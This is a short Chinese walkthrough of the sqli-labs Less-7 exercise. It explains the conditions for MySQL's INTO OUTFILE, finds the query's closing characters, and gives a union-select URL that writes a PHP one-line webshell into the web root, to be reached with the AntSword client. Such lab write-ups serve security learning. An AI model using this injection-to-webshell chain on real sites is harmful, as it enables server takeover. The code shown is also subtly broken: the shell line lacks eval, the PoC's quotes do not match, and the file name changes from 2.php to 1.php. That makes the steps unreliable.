前提了解:
1、在数据库中into outfile语句表示把数据导出到一个文件中,那么利用这个语句,再配合满足的三个条件,即可实现文件或者一句话木马导入到数据库文件的目录中,三个条件如下:
-
具有file权限,默认只有root权限,对目录要有写权限
-
在数据库配置文件(my.ini)中,配置项含有:secure_file_priv=''(注意在数据库中此项默认为secure_file_priv=null,secure_file_priv表示允许导入的路径)
-
知道数据库的绝对路径(可以通过报错信息、phpinfo界面、404界面等一些方式知道)
2、所导出的文件名一定要是网站中不存在的,不然也不会成功,
3、利用方式:select <?php @($_POST['cmd']);?> into outfile "绝对路径\\文件名",cmd为蚁剑的连接密码
4、插入这条语句的几条注意点:①由于php区分大小写,所以POST一定要大写。②由于php中双引号会解析里面的变量和特殊符号,而单引号并不会,所以要使用单引号。③路径的分隔符要使用两个反斜杠\\,一个会被转义。但分隔符也可以使用一个斜杠/来分隔,就不需要防转义
sqli-labs-7
1、输入?id=1/id=1"/,页面都没有报语法错误
2、当输入?id=1'时页面返回有语法错误,所以我们可知闭合符号中含有单引号'
3、输入?id=1'--+。然后在1后面加一些闭合符号如反括号),直到页面回显没有语法错误的报错
4、最后可得当我们输入?id=1'))--+时页面没有报语法错误,说明闭合符号为'))
5、前面已知字段数为三,所以我们直接使用into outfile来传入一句话木马
6、poc为:?id=1')) union select 1,2,"<?php @($_POST['cmd']);?> into outfile "C:/phpstudy/PHPTutorial/WWW/sqli/Less-7/2.php"--+
7、然后可发现,指定路径上被成功上传了1.php文件
8、然后就是用蚁剑进行连接,即可连接成功